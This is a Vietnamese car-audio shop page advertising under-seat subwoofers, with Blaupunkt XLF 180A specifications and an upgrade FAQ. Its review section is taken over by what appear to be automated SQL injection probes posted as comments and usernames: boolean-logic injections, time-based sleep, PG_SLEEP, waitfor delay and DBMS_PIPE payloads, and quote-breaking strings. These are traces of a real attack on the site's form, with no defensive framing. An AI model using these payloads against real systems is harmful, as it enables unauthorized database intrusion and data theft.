PHỤC VỤ TẤT CẢ CÁC NGÀY TRONG TUẦN

Trang chủ » Độ âm thanh ô tô » Sub gầm ghế ô tô | Tổng hợp các dòng Sub ô tô

Sub gầm ghế ô tô | Tổng hợp các dòng Sub ô tô

4,300,000 đ 5,000,000 đ

Tính năng nổi bật

  • Giá thành hợp lý
  • Đa dạng sản phẩm
  • Hiểu biết về chất lượng
  • Đem lại sự hài lòng cho từng Quý khách

Nội dung chính [Ẩn]

    Sub gầm ghế ô tô | Tổng hợp các dòng Sub ô tô tốt nhất

    Âm thanh ô tô thường được nhiều Quý khách hàng để ý nhất. Vậy để tăng âm thanh và độ ấm ta có thể lắp thêm ” Sub gầm ghế ô tô ”. Chi phí hợp lý tăng âm thanh lên rất nhiều. Vậy sử dụng những loại Sub nào nghe hay, giá hợp lý và gọn. Quý khách cùng Phương Đông Auto tham khảo một số dòng Sub gầm ghế ô tô sau nhé.

    Sub gầm ghế ô tô

    Sub gầm ghế ô tô và những dòng khác nhau tại Phương Đông Auto

    Vì sao ta nên lắp Sub gầm ghế ô tô ?

    Cải thiện âm thanh lên với độ tăng công suất hợp lý. Sub gầm ghế ô tô làm nhiệm vụ như vậy.

    • Tăng âm thanh lên, tạo ấm và âm trầm cho âm thanh loa nguyên bản
    • Nhỏ gọn và hợp lý cho những Quý khách không cầu kỳ độ chế
    • Phù hợp Quý khách hàng nghe nhạc nhỏ từ 15 đến 20 Volum
    • Lắp đặt nhanh, gọn và cẩn thận bởi Kỹ thuật Phương Đông Auto

    Các hãng Sub gầm ghế ô tô tốt nhất đang được bán tại Việt Nam?

    Nếu tính ở Việt Nam sẽ có vô vàn các hãng Sub gầm ghế ô tô với các giá thành khác nhau. Nhưng với cách nhập và đặt tại Trung Quốc quá dễ dàng thì thật khó để lựa chọn. Phương Đông Auto hôm nay sẽ tư vấn cho các Bác 2 dòng Sub cũng đang được bán rất nhiều tại nước ta như: Blaupunkt XLT 180A DB Driver. 

    DBS 10A  cũng đang được khá nhiều khách hàng sử dụng. Với giá thành hợp lý và công suất cực đại lên tới 880Wts nó trở thành một dòng Sub điện lớn nhất.

    Sub gầm ghế ô tô có công suất nhỏ như Blaupunkt XLb 300A nó hơi to nên ít người sử dụng hơn

    Sub ô tô rẻ nhất hà nội

    Blaupunkt MPA 600 là sản phẩm cũng được nhiều khách hàng lựa chọn để độ âm thanh.

    Sub ô tô hay nhất

    Nhưng Sub điện gầm ghế ô tô tốt nhất vẫn là Blaupunkt XLF 180A dòng sản phẩm có công suất 450W đủ để tải các dòng loa nguyên bản theo xe. Âm thanh âm, trầm không phô khiến nó lắp đặt được tất cả các dòng xe có trên thị trường. Sản phẩm chính hãng được phân phối và lắp đặt tại Phương Đông Auto.

    Thông tin sản phẩm loa Blaupunkt xlf 180A 

    * Subwoofer

    – speaker size : 8”

    – cone composition : aluminium

    – magnet type : ferrite

    – enclosure housing material : aluminium

    – enclosure dimension ( LxWxH): 345x260x75mm

    – enclosure net weight : 2,65kg

    Amplifier

    – amplifier technology : class AB

    – Normal output power (RMS) : 180W

    – Max output power : 400w

    – Audio in sensitivity : RCA input 0.2V-10V , sperker input 0.6v-12v

    – Singnal/noise ratio : 91db

    – Output lmpedance : 2ohms

    – Frequency response : 30Hz-150Hz

    – Low pass filter ( LPF) : 50 Hz-150Hz

    – Voltage : 14.4v (10v-16v)

    – Phase Switch : 0 deg / 180 deg

    – Automatic on/off : high level only

    – Fuse Rating : 25A

    – Gain : 200mV-6V

    – Passive Radiator : 192x60mm

    – Variable bass boost : 0 -18db

    * Accessories 

    – Remote controller : wired

    – DC cord : 5.0m

    – Screws (Parker-type) : M4x20mm

    – Screws (M-Type): M6x88mm

    – 2x Bracket A: 72x40mm

    – Overall net wweight : 5kg ( Without accessories )

    – Enclosure Dimension (LxWxH) : 345x260x75mm

    Sub blaupunkt xlf 180a

    Bác khách đã trở thành thân quen của Phương Đông Auto và đã ủng hộ ngay bộ loa Sub Blaupunkt XLf 180A khi nghe thử trên xe của em.

    Sản phẩm đã được lên nhiều dòng xe và với nhiều bài báo khác nhau viết về dòng Sub cực phù hợp này.

    Tổng hợp những câu hỏi về nâng cấp âm thanh ô tô ?

    📌 Độ loa âm thanh ô tô có ảnh hưởng tới đăng kiểm xe không

    Trả lời: Độ hay nâng cấp loa ô tô không ảnh hưởng tới việc đăng kiểm của xe ô tô. Nâng cấp loa theo hình thức zin và bên trong của xe, điều này làm thêm âm trầm, âm tiếng sẽ tròn trịa và ấm hơn.

    📌 Có bao nhiêu cách nâng cấp loa xe ô tô? 

    Trả lời: Nâng cấp xe ô tô có rất nhiều cách, trong đó được chia ra làm nhiều cách khác nhau như. Thay loa cánh, Thay sub hơi, sub điện, lên combo độ loa, sub liền DSP, thêm dsp … dù cách nào thì việc cải thiện loa sẽ giống và khác nhau. đương nhiên khi lên combo gồm Thay loa, thêm sub, thêm dsp, thêm âm ly thì giá thành sẽ cao nhưng chi tiết âm thanh sẽ hay hơn rất nhiều so với ban đầu.

    📌 Có nên cách âm khi nâng cấp loa xe ô tô và lý do ?

    Trả lời: Cách âm thay chống ồn được gọi chung là cách làm giảm âm thanh từ bên ngoài vào trong, nhưng nó còn lý do nữa chính là làm giảm dung khi mở âm thanh và khi đi di chuyển. Cách âm càng tốt thì âm thanh trong xe nghe càng hay, vì vậy việc cách âm ô tô là vô cùng cần thiết khi nâng cấp xe ô tô.

    Những Video về sản phẩm âm thanh ô tô

    Uy lực của loa sub nhỏ gọn 6,5ing dành cho mọi dòng xe ô tô

    Trước khi độ âm thanh, ta tìm hiểu kỹ về dán cách âm ô tô

    Các dòng loa sub liền dsp như thế nào

    Những gói combo nâng cấp nhỏ cho dòng xe sedan

    Quý khách có nhu cầu biết rõ về Sản Phẩm, Dịch Vụ lắp đặt và nghe tư vấn từ Phương Đông Auto, xin vui lòng Gọi điện, chát Zalo hoặc đến trực tiếp để được hỗ trợ đầy đủ nhất.

    Những bài viết về âm thanh ô tô :

    Độ loa ô tô tốt nhất Hà Nội như thế nào ?

    Nên độ loa sub ô tô nào tốt nhất ?

    Nâng cấp loa sub liền DSP có tốt không ?

    Từ khóa:

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555FNK6q87B

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    -1 OR 2+696-696-1=0+0+0+1 --

    user image
    ncMUFCMU – 11/05/2024

    -1 OR 2+279-279-1=0+0+0+1

    user image
    ncMUFCMU – 11/05/2024

    -1' OR 2+574-574-1=0+0+0+1 --

    user image
    ncMUFCMU – 11/05/2024

    -1' OR 2+564-564-1=0+0+0+1 or 'Q4UAb9Hb'='

    user image
    ncMUFCMU – 11/05/2024

    -1" OR 2+915-915-1=0+0+0+1 --

    user image
    ncMUFCMU – 11/05/2024

    555*if(now()=sysdate(),sleep(15),0)

    user image
    ncMUFCMU – 11/05/2024

    5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

    user image
    ncMUFCMU – 11/05/2024

    5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

    user image
    ncMUFCMU – 11/05/2024

    555F6UgaRSz'; waitfor delay '0:0:15' --

    user image
    ncMUFCMU – 11/05/2024

    555-1) OR 479=(SELECT 479 FROM PG_SLEEP(15))--

    user image
    ncMUFCMU – 11/05/2024

    555-1)) OR 594=(SELECT 594 FROM PG_SLEEP(15))--

    user image
    ncMUFCMU – 11/05/2024

    555urLesQjm' OR 398=(SELECT 398 FROM PG_SLEEP(15))--

    user image
    ncMUFCMU – 11/05/2024

    5550ILdPjGL') OR 748=(SELECT 748 FROM PG_SLEEP(15))--

    user image
    ncMUFCMU – 11/05/2024

    5557dDcdqMr')) OR 75=(SELECT 75 FROM PG_SLEEP(15))--

    user image
    ncMUFCMU – 11/05/2024

    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

    user image
    ncMUFCMU – 11/05/2024

    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

    user image
    ncMUFCMU – 11/05/2024

    555'"

    user image
    ncMUFCMU – 11/05/2024

    555����%2527%2522\'\"

    user image
    ncMUFCMU – 11/05/2024

    @@RTtN0

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU4WIZW8xE – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    -1 OR 2+292-292-1=0+0+0+1 -- – 11/05/2024

    555

    user image
    -1 OR 2+928-928-1=0+0+0+1 – 11/05/2024

    555

    user image
    -1' OR 2+848-848-1=0+0+0+1 -- – 11/05/2024

    555

    user image
    -1' OR 2+435-435-1=0+0+0+1 or 'P6mzXR9G'=' – 11/05/2024

    555

    user image
    -1" OR 2+266-266-1=0+0+0+1 -- – 11/05/2024

    555

    user image
    if(now()=sysdate(),sleep(15),0) – 11/05/2024

    555

    user image
    ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z – 11/05/2024

    555

    user image
    ncMUFCMU0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z – 11/05/2024

    555

    user image
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ – 11/05/2024

    555

    user image
    ncMUFCMU-1 waitfor delay '0:0:15' -- – 11/05/2024

    555

    user image
    ncMUFCMUf5N4v5mi'; waitfor delay '0:0:15' -- – 11/05/2024

    555

    user image
    ncMUFCMUFYhuzOiB' OR 476=(SELECT 476 FROM PG_SLEEP(15))-- – 11/05/2024

    555

    user image
    ncMUFCMUjjRBRgLd') OR 808=(SELECT 808 FROM PG_SLEEP(15))-- – 11/05/2024

    555

    user image
    ncMUFCMURBcZKMzv')) OR 421=(SELECT 421 FROM PG_SLEEP(15))-- – 11/05/2024

    555

    user image
    ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' – 11/05/2024

    555

    user image
    ncMUFCMU'" – 11/05/2024

    555

    user image
    ncMUFCMU����%2527%2522\'\" – 11/05/2024

    555

    user image
    @@qDPCX – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    user image
    ncMUFCMU – 11/05/2024

    555

    Tên Khách Hàng
    Số Điện Thoại
    Nội Dung Đánh Giá
    Đánh Giá Sản Phẩm *